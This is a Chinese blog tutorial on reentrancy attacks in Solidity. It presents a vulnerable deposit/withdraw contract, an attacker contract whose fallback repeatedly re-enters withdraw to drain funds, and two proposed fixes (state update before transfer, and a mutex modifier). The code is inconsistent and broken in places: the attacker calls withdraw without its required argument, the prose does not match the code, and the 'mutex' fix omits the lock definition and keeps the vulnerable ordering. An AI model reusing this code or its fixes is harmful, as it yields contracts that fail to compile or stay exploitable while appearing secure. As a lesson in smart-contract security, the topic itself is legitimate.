Solidity - 如何避免重入攻击

今天这篇文章,我们来讲讲solidity合约的重入攻击。那什么是重入攻击呢?重入攻击指的是合约A给攻击合约B转账的时候,攻击合约B重入了合约A,导致合约A里的余额被攻击合约B全部提走。那么,是什么导致了重入攻击,重入攻击又是怎么造成的呢,我们又应该怎么防止重入攻击呢。这篇文章,我们用代码来一一讲解。
首先,我们来写一份合约A,充当被攻击的合约。这个合约中,有一个withdraw方法,通过这个方法,用户可以提取合约A内的代币。

contract EtherStore {
    mapping(address => uint) public balances;

    function deposit() public payable {
        balances[msg.sender] += msg.value;
    }

    function withdraw(uint _amount) public {
        uint bal = balances[msg.sender];
        require(bal >= _amount);

       (bool sent, ) = msg.sender.call{value: _amount}("");
        require(sent, "Failed to send Ether");

      	balances[msg.sender] -= _amount;
    }

    // Helper function to check the balance of this contract
    function getBalance() public view returns (uint) {
        return address(this).balance;
    }
}

在合约A中,我们有一个deposit方法,用户通过调用这个方法将代币质押到合约内。我们看到还有一个withdraw方法,这个方法首先使用require检查当前的用户在合约A内的余额是否大于0,如果用户在合约A内没有余额就无法触发withdraw方法。接下来,使用solidity 0.6版本的写法msg.sender.call{value: bal}(“”)将代币转给用户。最后,将用户在合约A内的余额归零。
接下来,我们编写一个攻击合约B来攻击合约A的withdraw方法。我们先放一段代码,如下:

contract Attack {
    EtherStore public etherStore;

    constructor(address _etherStoreAddress) {
        etherStore = EtherStore(_etherStoreAddress);
    }

    // Fallback is called when EtherStore sends Ether to this contract.
    fallback() external payable {
        if (address(etherStore).balance >= 1 ether) {
            etherStore.withdraw();
        }
    }

    function attack() external payable {
        require(msg.value >= 1 ether);
        etherStore.deposit{value: 1 ether}();
        etherStore.withdraw();
    }

    // Helper function to check the balance of this contract
    function getBalance() public view returns (uint) {
        return address(this).balance;
    }
}

在攻击合约B中,我们有三个主要的逻辑。首先,我们使用构造方法constructor引入合约A的对象,通过etherStore这个对象我们可以调用合约A里的方法。其次,我们编写了一个attack攻击方法,在这个方法中,我们首先要往合约A中存入至少1个ether,之后,我们就开始调用合约A的withdraw提取方法。最后,我们编写一个回退函数,在这个方法中,我们首先判断合约A中的余额是否还有大于等于1个ether,如果有,我们就继续调用合约A的withdraw方法,直到把合约A中的余额全部提取完。
完成两份合约的编写后,我们开始来编译部署测试一下两份合约,并观察攻击的流程。
首先,我们编译部署合约A,并往合约A内存入2个ether。
Solidity - 如何避免重入攻击_第1张图片

其次,我们编译部署合约B,然后我们使用1个ether去调用合约B的attack方法。
Solidity - 如何避免重入攻击_第2张图片

最后,我们发现攻击合约B中余额变成了3个ether。这包括我们存入的1个ether,以及被攻击合约A中的2个ether。此时,合约A中的ether变成了0。
Solidity - 如何避免重入攻击_第3张图片
Solidity - 如何避免重入攻击_第4张图片

至此,我们成功的使用攻击合约B重入攻击了合约A。

那么,我们怎么防止这种这种重入攻击的发生呢?接下来,我们再往下看。我们先上一段代码。方案一。

contract EtherStore {

    bool internal locked;

    modifier noReentrant() {
        require(!locked, "No re-entrancy");
        locked = true;
        _;
        locked = false;
    }
  
    mapping(address => uint) public balances;

    function deposit() public payable {
        balances[msg.sender] += msg.value;
    }

    function withdraw(uint _amount) public noReentrant {
        uint bal = balances[msg.sender];
        require(bal >= _amount);

      	balances[msg.sender] -= _amount;

        (bool sent, ) = msg.sender.call{value: _amount}("");
        require(sent, "Failed to send Ether");
    }

    // Helper function to check the balance of this contract
    function getBalance() public view returns (uint) {
        return address(this).balance;
    }
}

在这份合约中,我们优化了合约A的逻辑代码。首先,我们将账户余额被减去的操作放在了转账之前,这样就可以保证我们即使这个方法被重入攻击了,但是账户余额已经被减掉了,这样就避免了重入攻击的发生。这种情况就是我们要先改变状态再执行操作。方案一这种做法也叫做CEI模式。

方案2。我们使用互斥锁的方案。我们先上一段代码。

contract EtherStore {
    mapping(address => uint) public balances;

    function deposit() public payable {
        balances[msg.sender] += msg.value;
    }

    function withdraw(uint _amount) public noReentrant {
        uint bal = balances[msg.sender];
        require(bal >= _amount);

        (bool sent, ) = msg.sender.call{value: _amount}("");
        require(sent, "Failed to send Ether");

      	balances[msg.sender] -= _amount;
    }

    // Helper function to check the balance of this contract
    function getBalance() public view returns (uint) {
        return address(this).balance;
    }
}

在代码中,我们先定义了一个状态变量locked,这个变量初始值是false,并且,我们编写了一个修改器noReentrant方法,首先判断locked的状态为false,其次将locked的状态修改为true,最后再将locked状态修改为false。使用了互斥锁后,当遇到重入攻击时,就会先进入修改器进行locked状态的判断,这样我们就使用了互斥锁避免了重入攻击。

最后,告诫大家的是,如果我们不确定自己的代码是否有重入漏洞,不妨都加入一个互斥锁。或者在之后的版本中,直接引入官方避免重入攻击的库。另外,我们在转账的方法中,尽量用transfer方法,而不是用以上示例代码中的call方法来转账。

好了,关于重入攻击我们今天就讲到这里,喜欢的话,点个关注。

你可能感兴趣的:(区块链)